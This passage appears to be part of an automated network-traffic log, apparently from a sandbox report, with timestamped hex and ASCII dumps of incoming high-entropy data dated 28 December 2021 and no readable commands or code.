2021-12-28 17:13:33 UTC	1387	IN	Data Raw: 27 fa b2 e4 c7 be 4f f4 d9 8c c5 8d b9 c3 ec 05 af 63 0d 4e 43 d5 13 4e 89 e6 15 f1 6a 37 cb 08 32 0d ab 70 2e 98 74 f3 c8 39 ba a5 cc 73 07 c7 ef 56 59 0d 2c 81 da 99 e4 59 e3 6d 3b dd 4e 56 de 51 89 04 6d 8a 6f d3 13 8e 2e de ac 9a 25 54 73 f6 7f 3e 43 c2 f8 5a 44 2b a3 c0 c3 56 24 3f c7 f2 60 bf af 88 67 95 26 d1 fd 01 de 8d 4c 82 7f 27 28 18 97 67 63 40 bb 32 cd f4 ad 56 b2 f7 f0 ac f5 44 f9 b0 fa 3e cf 77 f9 84 da 81 4f d5 38 64 4f a3 69 83 76 dd af 9c f0 93 8b 6d c9 92 dc 4d fd e4 84 1c 35 08 0b 5e 0b 97 0d d1 13 ef fb 09 4b 28 4f 84 d4 fd 63 a0 72 57 0d dc b2 0d 0b 60 3d 23 13 55 ed 8b d2 a0 15 1f ac 4a f9 ef 7c 41 be ff 65 5a 8a 2f b8 04 8c 60 96 44 20 54 80 7a 88 00 de ec 40 58 d3 b1 fe 15 f3 36 4a bf b9 7e 0b 78 7f b6 3b 2c b3 60 83 8a 56 55 c9 Data Ascii: 'OcNCNj72p.t9sVY,Ym;NVQmo.%Ts>CZD+V$?`g&L'(gc@2VD>wO8dOivmM5^K(OcrW`=#UJ\|AeZ/`D Tz@X6J~x;,`VU
2021-12-28 17:13:33 UTC	1403	IN	Data Raw: a5 e0 1e ee 61 23 52 31 66 98 4d db fc 3e 50 8a 4e 63 bc f7 0c 4b e9 b9 8b 69 3c d1 f1 85 4e 6b e4 5f 0d f9 01 4d ff 42 80 92 64 c4 c4 f3 3a 9e 81 be 56 cc dd 88 55 40 40 2f 73 54 f7 67 90 e4 13 81 1a b1 78 c8 bc e7 a4 ee 39 16 aa 0f e1 2a 85 f5 8b 1e ad 01 80 1f b4 91 54 05 66 d8 50 fd 52 0a 5f 37 9b e9 df 8c 85 63 fb 40 a8 b3 8c 35 0f 1f 1c 99 cb 73 82 b9 9e b7 54 97 e9 81 dd 42 1a d1 31 1c f2 6d 91 bf a5 01 32 5e 53 38 99 28 2c e2 0b 5b f4 6f 54 fe 79 ab 1c 2e c9 16 4e 20 3e 7d ed de 50 aa 31 1a af 76 cc 75 eb 04 8f 72 59 41 64 5a a4 4c cf a3 4c 10 88 0e 67 03 46 d3 8f 7f b0 2b 4c 55 61 06 6b 94 43 22 24 cb 60 a9 d4 67 20 5a 9d ac 0a 1b 2a 4d 58 97 7d 50 fb b3 c8 7c ac 2d 64 93 c5 8b c9 6e 5b 79 db 39 0a 9d ea 59 c3 b6 39 c8 9f 7a e0 f3 7b 51 25 1d 97 Data Ascii: a#R1fM>PNcKi<Nk_MBd:VU@@/sTgx9TfPR_7c@5sTB1m2^S8(,[oTy.N >}P1vurYAdZLLgF+LUakC"$`g ZMX}P\|-dn[y9Y9z{Q%
2021-12-28 17:13:33 UTC	1419	IN	Data Raw: a7 28 17 d3 23 81 25 b3 dc 63 3a c5 10 bf 50 a9 6c a2 16 e9 9b e3 bb 5b e5 9d 15 c0 46 a8 74 32 0f 67 be b0 b1 b6 da 5d 66 ba 7d f9 e8 9f 4e 11 7b 38 ae b5 55 64 13 e0 cb e8 71 46 20 23 b1 16 58 42 93 95 29 c7 bb a0 09 71 d8 82 b3 ce c7 82 3a 01 22 d0 ba bd b9 6b b4 44 64 b7 d8 94 65 d0 cc e4 1e 34 59 50 63 95 6c ec bb 08 f9 6f 58 36 a3 89 b4 52 c1 d3 ca 3a 72 6f 05 41 47 64 82 11 52 82 d4 ae 89 05 fb 8e 2f 14 43 52 5b 1a 01 e5 ec aa 6e 46 20 1e fd 10 39 55 3b a8 0c 86 ed ae c2 3c 0c 92 a9 e5 b9 40 35 5d cf 5a dc 4a fb fa 9c 22 f9 51 e5 da 1c 27 5c f5 6b 0e 09 15 83 e1 19 cf 77 18 a1 00 30 3a c9 08 b7 d3 4e 9f 9a ed e6 34 26 bd d1 72 34 f5 d1 4a 3c ba 21 26 81 ea 03 37 e2 fa c0 14 00 a5 9b 83 37 fe 9e bb ef 2a f5 ac 6a b0 94 da 73 1e 8b 4f 95 68 db 5f 67 Data Ascii: (#%c:Pl[Ft2g]f}N{8UdqF #XB)q:"kDde4YPcloX6R:roAGdR/CR[nF 9U;<@5]ZJ"Q'\kw0:N4&r4J<!&77*jsOh_g
2021-12-28 17:13:33 UTC	1435	IN	Data Raw: b8 35 91 8f a9 4e b9 9e 3f 1b e8 01 4b db a0 e8 96 74 9b ec b5 40 f9 5c b2 cc 3c 23 a5 30 27 9e 8b 28 b3 cc 3b 0b 62 0f 17 db 7b 52 d8 27 be 0c e7 75 66 d4 38 08 cf 97 f5 21 8e cd f5 26 bb 18 eb eb 27 75 ee 1e 5f 41 66 3f e4 6c 28 b6 e4 10 91 9c d3 a5 38 88 0b e5 b8 75 4c d0 d6 39 b7 da 0a 22 e5 f2 68 54 52 ef ad 1a af 48 67 24 69 4c bd 79 1e 76 be 8a d9 5c 9b b3 d3 19 ab e9 15 17 6e 83 cc 13 31 d4 0c b6 7d 53 ca 2d ae 70 4b 6e b2 f7 7b b5 0c c8 95 a9 d5 82 b7 f1 e3 1a dd e8 64 32 df 44 7e 87 5f 0b b8 be 84 d0 b1 76 b3 3c 48 03 94 62 b8 9f f9 7b 4f 55 74 12 93 e0 de dc 43 ed 24 3e a9 3f 3e a1 61 26 f9 03 ac 9a bd c4 62 82 27 38 ff 5f 25 2b 0d e7 67 6a 7a 61 39 dc 73 c1 62 82 b2 25 cb e3 e3 89 d4 fd 8d de 36 4c f8 d6 d2 b2 44 6c 53 3c 94 c8 fe 45 55 56 62 Data Ascii: 5N?Kt@\<#0'(;b{R'uf8!&'u_Af?l(8uL9"hTRHg$iLyv\n1}S-pKn{d2D~_v<Hb{OUtC$>?>a&b'8_%+gjza9sb%6LDlS<EUVb
2021-12-28 17:13:33 UTC	1451	IN	Data Raw: bf f8 ce 37 0c bd c1 71 92 12 54 31 de 6c 36 3d 2c e9 a4 96 c1 30 d4 09 f0 0e 01 80 55 a3 09 1f d2 d0 ee 39 8c 1d 4b ef 69 5b df b4 8d a8 58 ad 8a 15 96 45 e8 b5 76 65 5f 8e 23 0a 76 30 a4 d1 86 bc 14 7e 0e 17 8a 0c 14 e7 40 4d f3 5a 34 5d d1 ab a2 c1 b3 2e f4 46 b0 d2 a3 aa 19 50 b6 f2 2e 68 17 15 44 f6 b0 2e b2 67 21 13 ce 8a 7f 88 89 3d ee e0 f7 18 39 6f a6 6b 07 35 72 a8 c9 7e d0 ab ee 81 5c 79 bb 88 00 c2 c0 27 66 4a 08 18 1b 2c 22 56 cd ed fa f7 a0 97 70 ba d7 0b c9 6d 58 04 57 e7 a7 42 0c e1 5d 1e 32 28 14 47 61 30 09 ae f2 13 43 51 f7 32 8c 9d e5 14 da 49 c1 e4 ec 03 2d a9 02 23 80 f2 f0 bf 36 91 a5 c5 7b 9a 2c b8 f4 4d da 99 aa 86 ae 3c b5 27 77 65 a2 77 13 b7 ac 56 45 70 c0 d7 a2 7f 86 b6 f3 05 4f d0 e1 9f 5d 16 c4 a2 a1 8e ec c3 08 70 16 0b af Data Ascii: 7qT1l6=,0U9Ki[XEve_#v0~@MZ4].FP.hD.g!=9ok5r~\y'fJ,"VpmXWB]2(Ga0CQ2I-#6{,M<'wewVEpO]p
2021-12-28 17:13:33 UTC	1467	IN	Data Raw: 72 b5 18 cd b7 a1 d3 c3 04 c0 ef 62 75 c1 66 92 88 52 ed a1 c0 5f 0b 8f c9 98 72 21 0b 2e 5f 3f c8 d0 16 68 65 df ca c9 db 83 cf 1b ce 2a 78 4e 32 c9 87 59 6d 21 68 d0 db 42 ff 1d 8a f4 6d 2a f9 e7 e4 80 2e 69 36 f1 fd 67 b3 11 f1 72 6a 51 e8 b5 12 4c 19 9c 4d 2d 50 5e 6f 17 f4 2f dd 26 04 1e e7 18 00 c1 33 ee 9a 8c 34 92 64 d7 e4 cf be cf 31 a4 ac dc 80 d4 05 b7 96 0e 0e 06 cd 8d f0 7a 26 d2 13 c0 ed 99 04 ca ad 01 2d 92 c7 ae 77 68 02 b9 bb e5 3e f4 ef f0 3f bf 99 ac 6b 13 88 da 8f f1 85 5f 42 c7 18 38 ba 7a ca 9a 04 d3 e0 fa bf fe a0 cd 0a c1 4e e6 53 a6 a1 df 50 0c 51 be ba 9e 29 8c 44 15 83 58 a9 bf 53 1a 45 f6 3b f0 37 ba 40 67 ac 55 73 ab 4f cc ab 1f 1e 31 76 7c 46 9c 6b b6 87 48 4c 18 e6 0f 4f 2e 53 b7 7b f3 87 a2 12 3a ae 0c f6 66 90 67 89 03 12 Data Ascii: rbufR_r!._?hexN2Ym!hBm.i6grjQLM-P^o/&34d1z&-wh>?k_B8zNSPQ)DXSE;7@gUsO1v\|FkHLO.S{:fg
2021-12-28 17:13:33 UTC	1483	IN	Data Raw: bc 00 9b c8 40 d6 d1 3b a5 4e 39 23 1a f2 c6 94 3a f7 92 62 86 6c e9 6b 10 0b d8 98 5b 64 ae 58 a4 05 ef df d1 53 0a b4 2b 6f 26 d6 61 5e 88 b1 cb 17 a1 a8 09 1a b9 bb da c2 c2 27 95 a0 3d a4 19 58 f3 c6 a2 f8 7d 7f db c8 de d8 59 07 31 7e a9 18 9e ed 55 ba d4 9a 99 67 ca 69 d9 d8 00 fc 98 f3 5d fa 7b ca 09 94 1e 42 4e 71 7d 8b 61 db 29 25 e9 1a ce 50 d3 42 d1 af ac 9a 19 80 f0 f1 f4 24 0e 2e c2 ea 36 64 f4 ca a5 a9 28 bb 86 34 05 23 35 ea da 2b 6e 34 b5 fb f7 38 bc b3 97 34 05 24 14 0d 60 0a a3 bd a2 a7 0d ab f7 45 bc 0c 4d 95 cd a5 29 24 4e 89 0c ad d0 ba f4 df 23 cf f8 95 3a c2 ae 74 50 68 c4 a7 32 4d cb 41 a2 23 88 48 60 8b c6 5d e8 74 dd 6e 77 20 e0 62 f0 40 77 33 9e cf 88 08 4e 8f c2 0e 28 cf 27 28 4e cb d8 c7 e1 1d 95 2e 6c 08 4f fb d0 0b 5e df 9e Data Ascii: @;N9#:blk[dXS+o&a^'=X}Y1~Ugi]{BNq}a)%PB$.6d(4#5+n484$`EM)$N#:tPh2MA#H`]tnw b@w3N('(N.lO^
2021-12-28 17:13:33 UTC	1499	IN	Data Raw: fb 84 50 21 23 da 84 3a ed 03 d9 ee 85 8f c7 c4 f7 c5 ac 2e e2 f1 99 9c c2 10 5c fe 77 1c d2 ba c9 0e 7d 7a 67 61 45 16 db 9b ec 76 0e 1a ef aa b0 0b 61 c3 8d 47 1c 5c 9e b5 9c 7d 0d 4e 2f e3 3b 10 d8 a2 7a 23 5f 72 a1 76 6c ba 55 04 e8 1a be 8f 19 ef 70 36 58 f4 c8 86 af fd de 6d 73 73 fb e9 4a 08 e6 6f f7 d1 16 ff d3 4c bd a4 f8 55 d4 25 93 5a 95 88 3a b4 72 c6 90 cc 2b 7c 4b 79 5a 2f 8b 95 f7 8b 0c 65 f7 79 0d f4 53 ae 4f 3a 38 2e 3c 52 31 31 db 07 f6 ad 9e 45 44 b2 ba 48 e6 ef 9c 38 5a 54 88 d8 cf 7c 98 f3 9f 34 da 78 2e ab 71 1b d9 48 66 dc 69 68 b6 ac 54 0e d5 84 10 2b 77 cb 0c a3 74 a8 4a 24 0f f0 f4 a0 9c 57 39 6a 32 aa 1a 2b 7f 98 87 bb fe ec ef 75 c9 e8 4f ee bb 70 f2 25 23 09 8b 40 39 28 9e 0b 2a 52 10 d4 d0 61 21 19 d9 fc 90 a8 4c 5d fc e7 8f Data Ascii: P!#:.\w}zgaEvaG\}N/;z#_rvlUp6XmssJoLU%Z:r+\|KyZ/eySO:8.<R11EDH8ZT\|4x.qHfihT+wtJ$W9j2+uOp%#@9(*Ra!L]
2021-12-28 17:13:33 UTC	1515	IN	Data Raw: be 8a 34 1c 99 82 c5 e8 e8 25 a9 c7 88 8f 31 d2 7b 90 40 c7 2f 3e a8 8a 22 87 0d e7 62 57 ae a6 de 20 45 8e d3 9a 8d 8d ad 8b 32 af 2f d3 e1 c7 fd 26 ab 6a fb 09 80 b9 e0 61 07 e4 6c 0a f1 bc b3 fc e8 68 df a2 d1 2b 30 7b 23 c7 86 cb 6a 66 c6 57 cb 0e bc 06 ed 64 4f ce 59 d8 3d 0f 5a 81 54 de 14 68 bd 41 cd 7d ad 0d 18 eb 79 68 fd b4 36 cb 9e 90 e2 27 c9 9c be 07 c1 a1 4b 15 bd a5 51 6d 6b c0 7a 86 d9 a6 1c 02 bb a5 72 ab 39 d3 07 97 a7 db c0 7f 55 8d 70 80 63 51 40 5d 08 b4 0e 41 0a c0 f4 39 b1 27 7f e2 89 ee 62 1a 0b 1e a9 74 be 2e 82 f2 a2 9c c0 20 ae 56 43 14 47 b1 8c 84 b4 e1 dd ed 95 0e 03 d6 9e 09 8a 71 44 bd 99 3a 0c cc b0 23 9f 26 78 ae 52 a8 14 2f 4a 5b 04 f3 47 95 a8 da f3 2e 25 fe f8 ce 8e cf 7e cb bf 5a ef 7e de e8 b2 c3 91 26 f6 f3 51 41 37 Data Ascii: 4%1{@/>"bW E2/&jalh+0{#jfWdOY=ZThA}yh6'KQmkzr9UpcQ@]A9'bt. VCGqD:#&xR/J[G.%~Z~&QA7
2021-12-28 17:13:33 UTC	1531	IN	Data Raw: 77 c1 52 a5 75 f2 42 eb b1 bc 71 41 ec 4f 4c 4b 77 57 16 ca 1d 59 35 c2 e4 db c7 a5 fe 2d ce 68 10 d6 4c 82 e4 96 d1 4c 0b f6 5b f2 26 d7 d6 bc 4e b2 6c 5a a1 24 61 41 fa 72 48 ae e7 5d 85 86 d1 7c d9 54 7a 0b 25 af 4f 3c 8e ff de 91 8a 80 59 a1 fb 60 82 ae 9a ac b4 f5 d7 fc 42 11 29 ac c0 e8 3f 1e 6f b2 8a 4b 29 d9 d9 18 99 27 41 a0 de a7 0d 96 f8 21 1c 53 fb d9 fd 2b 32 45 c4 7a 53 a6 c8 6e ef c2 e7 c4 3f 12 ce 83 e0 c3 aa 8d a4 5b ac c3 2a 67 8b 95 a5 77 8a 31 83 a9 d6 2b b6 19 6b ef 99 a7 15 f6 b8 d9 b6 7f bf 27 a0 f8 b6 fd 80 e2 a7 47 a0 19 27 78 67 6b 2d 60 92 04 ae f5 f2 87 56 3e 49 18 f6 2c 97 3c 5a d2 a4 45 94 5b 5c d8 8f b6 1d b7 85 ca 3a 96 85 9f ed be 26 88 50 b7 c6 b1 3f 2d 8b 08 60 f6 be b4 5c ef 40 ff f3 7e 07 30 78 16 48 ea 1f 22 ce 4e d3 Data Ascii: wRuBqAOLKwWY5-hLL[&NlZ$aArH]\|Tz%O<Y`B)?oK)'A!S+2EzSn?[*gw1+k'G'xgk-`V>I,<ZE[\:&P?-`\@~0xH"N
2021-12-28 17:13:33 UTC	1547	IN	Data Raw: d1 1a 04 1a ca 86 bd 3a 79 f3 91 84 98 a1 ad 30 e9 df ab d4 e9 bc ce a8 d2 22 c8 e4 5e e1 fd 70 c5 b2 76 5b 03 b6 d6 bf 23 25 0b ad c2 78 67 f5 1d 18 0a d5 f3 7e 04 f7 56 27 a1 c4 7f 6c 10 83 78 3a 81 42 1f 4b b0 e6 1e 18 01 a1 a0 33 b9 fa 58 e6 1b 8b 0d 30 b0 aa ff 8f 48 e2 8a 8c ec c4 85 46 73 86 ea 4b 6d a3 cf a5 64 c4 6c ce 33 46 cb cb f4 af 3a 64 4c 18 e1 70 f7 5d cc 38 7a 2b 31 3e db 72 59 2f 93 6b e3 1d 8a ef f9 6a d5 af 03 4d 0d 03 ad 76 72 44 51 ff 23 3c 89 a9 59 3b c7 dd 2b 4d dc 4f 44 2f ee 4e d7 3a a1 ec d3 73 26 99 7d 44 eb 58 a3 00 32 78 55 5e 50 bb 29 a9 a7 9f 0a 8c ce 19 da 81 94 05 69 8e 3b 47 09 31 32 c6 d0 00 a8 91 3b ea a5 20 49 0e 9b 45 27 32 dd 2a b0 17 1c b6 7c e6 8e 2d 62 a4 01 9d 48 d2 1a e7 9f db dc d3 b2 a2 7d 41 9e 8d 4a d4 38 Data Ascii: :y0"^pv[#%xg~V'lx:BK3X0HFsKmdl3F:dLp]8z+1>rY/kjMvrDQ#<Y;+MOD/N:s&}DX2xU^P)i;G12; IE'2*\|-bH}AJ8
2021-12-28 17:13:33 UTC	1563	IN	Data Raw: ac 87 8e 7b af 1d 49 db 0e f1 a4 ab a4 f8 fb 9c 79 1c e1 46 08 0b 85 2e b1 50 d1 b8 e8 e6 e9 fa d1 0c 3a 3b 1f 2e 73 c4 52 07 ab de a6 18 81 08 98 49 f4 38 d4 3c ae 6f 20 0b d0 61 cb 59 f3 1d 63 b3 9e 18 38 70 a4 5a d8 23 64 30 d1 94 04 dd 85 51 02 78 92 fc 1b 90 a9 88 db 92 f0 76 22 18 01 b5 41 fb 36 0f 2b d9 46 d9 88 03 93 06 12 50 31 28 d2 b0 47 3e 02 50 39 9e 32 41 27 81 83 f4 b8 80 ce dd e7 ab 7b 33 2a 5c bc bc f5 7b 5c 76 05 1c 5d a5 5d cd 42 22 8b 39 45 08 a9 1e 43 18 da 30 e7 29 45 f2 90 23 ff c8 15 d1 9e 25 c6 e8 25 0d b4 4c db 3e d4 24 5b 16 42 5b 9c ae 1f 0c 21 7c 66 ee 4e a8 ee 34 ae 64 39 0c f2 d2 25 f6 1f 3c 1f b8 f3 fd bc 18 8d 8f bf fa a1 b5 4e 56 7f 94 d3 2a 98 b2 f9 41 b8 e3 7e f0 ee 07 ba 44 6f c3 1a d5 6f 5c 8c 6d 44 29 a3 18 3b 88 63 Data Ascii: {IyF.P:;.sRI8<o aYc8pZ#d0Qxv"A6+FP1(G>P92A'{3\{\v]]B"9EC0)E#%%L>$[B[!\|fN4d9%<NVA~Doo\mD);c
2021-12-28 17:13:33 UTC	1579	IN	Data Raw: a0 67 36 4e 0b b6 43 fd e0 08 75 2f 6f 94 94 2c 3d 60 0f 5f 3b 83 c1 67 8a 52 9b cd c1 c0 a0 b6 ea 0a cd 6d 32 f4 05 c4 84 96 ea 26 72 6e 56 3c b2 df 5d 36 fa 0a e1 e1 fb ff 11 63 c9 64 8c dc 86 3a 28 d2 8b 4a 93 ee 61 2a 09 f0 01 6c a9 0f 95 01 f1 fa 41 ad f5 bf e1 36 73 42 c6 19 af f4 25 cd 7d b0 a0 53 94 9a c5 8c a8 a3 65 42 fc ce 65 aa cb c3 21 da 05 6f 1b cd 3e d4 a4 48 22 40 4f 8e 83 41 7d dd 5a 3c ae db a7 fa 56 a8 70 37 f6 a6 e8 66 de 21 7a d6 53 db 8a 0f ab e9 92 03 bd 64 5d 32 40 bf 61 fb 8f c2 a5 54 77 08 70 5e 88 3c c5 3b 2d 68 e0 e3 34 27 28 a7 d9 3e 29 9b e8 c1 ae 16 92 06 a2 f9 63 5b 7c 69 db 72 5d cb 6b dd 6e f2 7d 66 9e 29 eb 8e ec c4 68 6c 4d 52 66 ec 94 81 fc bd a9 09 3a 23 ad 4b 3f f2 ee fc d5 32 16 e0 b5 87 9b c3 b5 e1 51 4c 29 cb 8c Data Ascii: g6NCu/o,=`_;gRm2&rnV<]6cd:(Ja*lA6sB%}SeBe!o>H"@OA}Z<Vp7f!zSd]2@aTwp^<;-h4'(>)c[\|ir]kn}f)hlMRf:#K?2QL)
2021-12-28 17:13:33 UTC	1595	IN	Data Raw: 5f 52 52 8a 9c ca f8 81 1d c0 ab c9 3e de 9a 25 84 a1 64 45 06 09 3b 96 c1 8c 81 42 41 38 1e 5a 96 19 61 8c 04 71 ee c9 08 d5 76 58 c4 96 d6 f9 94 dd 23 91 07 48 41 86 8e e9 ca 7e bf 52 53 c7 9c e2 53 33 09 13 55 3c 06 b3 3b be 4d fb 34 6a a9 3f 29 82 fb c6 08 75 00 3d c5 4e b4 6b 75 c4 be 29 dc 0a 3b 42 ee 1e b3 f6 8a 19 00 99 02 15 a5 98 cc 13 0c 53 23 6c 01 33 68 29 db 3c 62 2f 12 fe c0 3e 2f 75 f3 62 88 ba 2d c3 76 8c 57 46 d0 8a 1a a3 4c 53 42 21 fd c7 24 01 7e b5 95 f6 2d ef d4 ea 95 39 40 30 7c 92 10 83 98 05 3e 4d 03 e1 0a 50 c5 2c c9 07 4b 72 b1 0f 12 78 99 c9 80 df f5 8b a1 a8 5f 8f b8 c8 68 77 b1 f5 6a 9d b8 f9 41 5a c7 11 4c a4 e1 4c 92 9a cb 92 6f 41 32 63 d6 54 bd c4 ba f1 fb 69 60 66 11 5b 81 43 66 d1 08 50 4a 5a 95 48 63 7b 94 3c ee f2 5f Data Ascii: _RR>%dE;BA8ZaqvX#HA~RSS3U<;M4j?)u=Nku);BS#l3h)<b/>/ub-vWFLSB!$~-9@0\|>MP,Krx_hwjAZLLoA2cTi`f[CfPJZHc{<_
2021-12-28 17:13:33 UTC	1603	IN	Data Raw: b2 2b 45 78 25 a0 64 ee 8a 0e 03 05 9a c1 2d b1 90 fe ee 04 9f ba 1f dd e7 f9 79 4d 78 1d 88 c2 e2 31 c0 ae e4 42 63 99 4b 89 f8 bd c6 2a b1 06 be c1 2f 54 95 5d a3 31 f9 68 04 7a bd d3 ee e5 5a 4c 04 58 ff 74 67 be 71 c9 fc c2 1f d0 04 3c fa 61 ec 99 f9 cd fd be 21 f5 7c 12 9c a8 ad 6f c6 56 27 29 52 ea 8f 40 2f c2 4b c4 48 5c 93 ad e9 d9 af f5 57 e0 7d 97 d1 fa 38 01 12 8b 03 df c1 b6 9f fd 77 fc 0e 91 c9 de 2c a5 97 b7 78 b6 b7 dc 02 45 e7 0b 80 f2 66 2b 72 b4 e9 48 88 a1 ef aa b6 bc e9 05 e7 d0 91 eb d4 34 2a 74 c6 af 00 42 40 0c 14 f0 32 5b 79 f1 be 99 81 d5 cc 9e 9b d8 67 df 72 45 9d 58 f3 75 cb 80 ca 15 39 52 3b 5e 4a 3f 09 fb 55 eb ef 96 2e 9b e1 25 30 75 7d cb 75 69 0f 1e 52 ba 9e 82 71 f1 b5 36 75 88 76 f5 0f 5f 6b ff ea bf 78 06 23 20 e9 f1 48 Data Ascii: +Ex%d-yMx1BcK/T]1hzZLXtgq<a!\|oV')R@/KH\W}8w,xEf+rH4tB@2[ygrEXu9R;^J?U.%0u}uiRq6uv_kx# H
2021-12-28 17:13:33 UTC	1619	IN	Data Raw: 5f 62 4a 8f c1 e3 4c 79 77 55 5c cb aa b0 8c 73 95 dd c6 e0 70 77 4c c8 b4 41 44 f0 70 59 a7 e0 93 c7 65 5b fd 45 96 e4 c9 0b c0 29 dd b3 3f 5e 8c 63 36 ce d3 5a 14 ff d5 e6 58 e4 f8 d7 e9 10 2a 02 7a 81 88 90 f4 89 5a 32 66 65 03 03 5f e8 70 66 0d 1d 0c ee 1a 80 07 da 2c 13 ad 90 09 1d 90 07 a6 35 0f 62 5b 39 64 d1 c8 80 e3 89 af 6b 0c fd 16 c3 3b 2b 31 91 13 6d 28 87 da 76 36 bb e6 bf ac 54 fd d4 f4 e9 c9 fe a0 d8 6b 4e 5b b6 62 8d 3f 6e 55 39 cd 3f 69 22 df 93 60 e3 0d 57 8a be 1a 9b 81 05 31 74 b5 69 35 0d 23 cb a5 68 73 6e 88 a9 a1 df de 91 a6 35 ab 69 7d a1 07 84 66 6f 58 c3 bc 0b bb eb f8 63 f1 f4 10 e7 08 38 89 b4 f9 dc 95 36 d6 0d ec 2e 1d 22 dd 52 2c 1f 60 30 a4 24 b6 33 9f 5c 9d f8 8e 57 e4 85 27 3f 11 d9 76 1b 1d aa 4c 9b 3c d5 cb 7c 77 89 49 Data Ascii: _bJLywU\spwLADpYe[E)?^c6ZX*zZ2fe_pf,5b[9dk;+1m(v6TkN[b?nU9?i"`W1ti5#hsn5i}foXc86."R,`0$3\W'?vL<\|wI
2021-12-28 17:13:33 UTC	1635	IN	Data Raw: 27 77 e6 41 d9 e4 d7 2a dd 36 db eb 58 da 0f 28 6b f5 57 8c 0f 42 d6 d4 46 49 44 3f 7d 97 a3 ae 21 0d 9b 94 f5 0e d5 27 2f 23 b0 65 bc fd 83 75 3f bb 85 3a 32 f9 88 92 c9 31 48 43 0f c9 80 e3 63 a6 b0 1d 76 b9 3b f6 b6 1b 35 7b 95 8c 0a 44 00 6d 0d 86 70 ba 3d ac 04 50 cf c3 6c 2d 80 bc 1a 6f 03 61 4d 1c c3 d3 ea 64 be b6 d2 dd 91 69 ae 18 d9 f6 d9 90 c2 72 42 3d a3 be 83 97 39 1f 1e 43 ed 1d 26 46 7d 5b fd ea b3 ef 69 d3 0f 64 fd 4f e6 29 47 1b 5f 21 33 0c e6 f0 3c 81 54 88 b2 00 39 e9 dd 6b 1b 5f b4 83 bd 7f 8d 4a dd be 74 f7 46 10 5b b2 3e 52 86 3a 8d f9 5f 6d 8a ec 89 df 83 ae dd 35 0b 72 db a1 92 eb 90 1c e5 4f a3 c5 84 60 3e 6a 94 13 5d c7 fc b9 8a 69 a7 48 a5 04 16 9f d5 7c d0 8e 95 31 1c 56 91 e6 78 7f 23 23 b4 75 02 88 63 34 31 7b f3 25 9b 1d 89 Data Ascii: 'wA*6X(kWBFID?}!'/#eu?:21HCcv;5{Dmp=Pl-oaMdirB=9C&F}[idO)G_!3<T9k_JtF[>R:_m5rO`>j]iH\|1Vx##uc41{%
2021-12-28 17:13:33 UTC	1651	IN	Data Raw: c6 09 07 fc d4 30 35 ce b7 16 03 db f0 de e3 53 e0 4e 63 34 bf 33 03 66 4d 58 5f fe 55 cd 00 6c 91 6b 87 58 af 59 78 bc 0e 59 fd 96 7d 29 e3 bd 93 15 e3 a8 27 07 35 96 66 f5 b0 f7 cf fd b3 0a 4a 92 67 55 d5 e8 78 c9 6f 7f d8 75 14 77 bf 95 a5 d1 9f 1c fb e6 ba b9 99 ad 53 c1 38 53 8b ef 03 f7 72 38 88 ff 2a ae 5d c7 76 58 f6 48 42 75 45 cc 2d 38 7f 67 f4 4f d6 7e a6 2d 64 d5 a8 a4 de 44 d2 8e 06 ba 23 c4 bc b0 9f 15 39 31 25 65 b3 c8 01 66 95 0b ca 62 c0 0a e8 0e 71 f0 22 db 9f d5 bd 2a 8d 80 a9 12 cc 3a f4 33 ed 89 13 b7 03 e1 a2 77 7c c7 f6 ee ee 9f ba 6d ee 54 5d c8 8b 3c 93 3a 28 4d fb a2 09 53 87 41 d8 b3 dc 72 9a 8f 19 81 d1 7d df 02 a7 2b 38 40 98 70 a2 b8 bb dd ce aa 31 5b b5 da 36 31 5b dd 7a a1 f4 22 cf 87 c1 ca 12 93 29 0f 00 e6 dc ef 96 b0 4a Data Ascii: 05SNc43fMX_UlkXYxY})'5fJgUxouwS8Sr8]vXHBuE-8gO~-dD#91%efbq":3w\|mT]<:(MSAr}+8@p1[61[z")J
2021-12-28 17:13:33 UTC	1667	IN	Data Raw: c2 e4 38 eb ea 87 02 49 2a 3b ec fb b1 d3 ad 91 59 5a 6f b3 99 85 a4 00 6a 1a 0a af 89 66 e7 7d 75 e9 01 cd 51 f1 9b e6 d3 44 c6 93 2d 37 43 8a 02 ac e2 f5 4e 64 ce a4 c8 b9 56 c3 d4 b2 85 aa 77 1b 7c 5e 5b b0 9c 2c dc c8 b6 a8 e5 f1 26 41 57 83 c1 1d f7 c0 be a5 84 d0 a6 3a f5 04 49 62 92 b2 c4 1f b7 5f b2 e1 d3 9a 7b 2d 67 9b db 9f eb 6d d9 0f b1 5a 8a 8d 23 dc dc b0 88 84 ff 30 c7 cb a6 26 5d cf 71 b8 ac 08 73 35 cc 86 91 a9 82 af 5e 5a de d6 0f 6f 70 26 7b f9 15 7b d3 47 d9 af 6e 8a 90 98 21 9c 84 56 99 b7 bf 9b d8 63 4f a1 8b 34 d6 fd ad 50 ba bb 3e 12 1f b7 9a e1 03 99 dd ab 86 85 07 8e f1 09 bd e0 4d 77 b9 e2 2b a0 3e 88 46 fe 1d 5a 83 1a d8 34 17 75 60 a0 61 0b e5 6f 42 a3 e9 31 0f 97 8e 75 23 b2 60 d2 b7 3f 72 f7 fa 2d 5c 44 7b c4 69 8c 28 af 03 Data Ascii: 8I*;YZojf}uQD-7CNdVw\|^[,&AW:Ib_{-gmZ#0&]qs5^Zop&{{Gn!VcO4P>Mw+>FZ4u`aoB1u#`?r-\D{i(
2021-12-28 17:13:33 UTC	1683	IN	Data Raw: 83 d9 69 8a 91 4b 5c 14 6f 24 ff 88 7d cd 33 a5 56 d3 fc 93 46 fd e2 f4 e7 42 c3 50 af a0 53 df 79 dd c6 c8 f9 06 da 50 ca 1c 15 80 e9 00 e9 f2 a0 3c e9 4a b6 85 19 53 04 10 92 7e 5e 84 e5 ce 72 6f d7 74 e5 3e b7 b9 79 d8 59 df 20 0a 4a 37 92 c6 18 c6 c4 32 3b ae 53 52 41 7d 93 0e fc 7e 75 32 c5 c0 39 8b 56 04 7c 6e 02 5a ad e9 41 c6 40 ec b0 d5 27 0c 4e 7b b0 25 42 4b 99 65 eb e6 d9 8c 3e c5 70 a4 78 66 0c a0 ed ce 98 78 f6 8f 34 e6 20 45 ad ad c7 3a e1 50 3e 6d 83 f9 2c d3 19 09 7a 52 3f ba 98 28 b1 84 2f d8 d4 29 d2 62 ef f8 5a 93 81 11 13 9c c2 31 57 30 37 d1 ed 56 13 1d 80 17 75 0a ce 7d ea 5d e0 10 6e 8a 6a 8a 17 a9 5b 7d 41 94 aa c6 fb 60 f2 ba d0 3c d7 b8 c4 6e a0 c4 a1 34 4d 2c 58 10 0e fd a8 b8 8c 83 a8 2f 9d 8d 0a 69 87 ff fd 55 a8 9a 22 e5 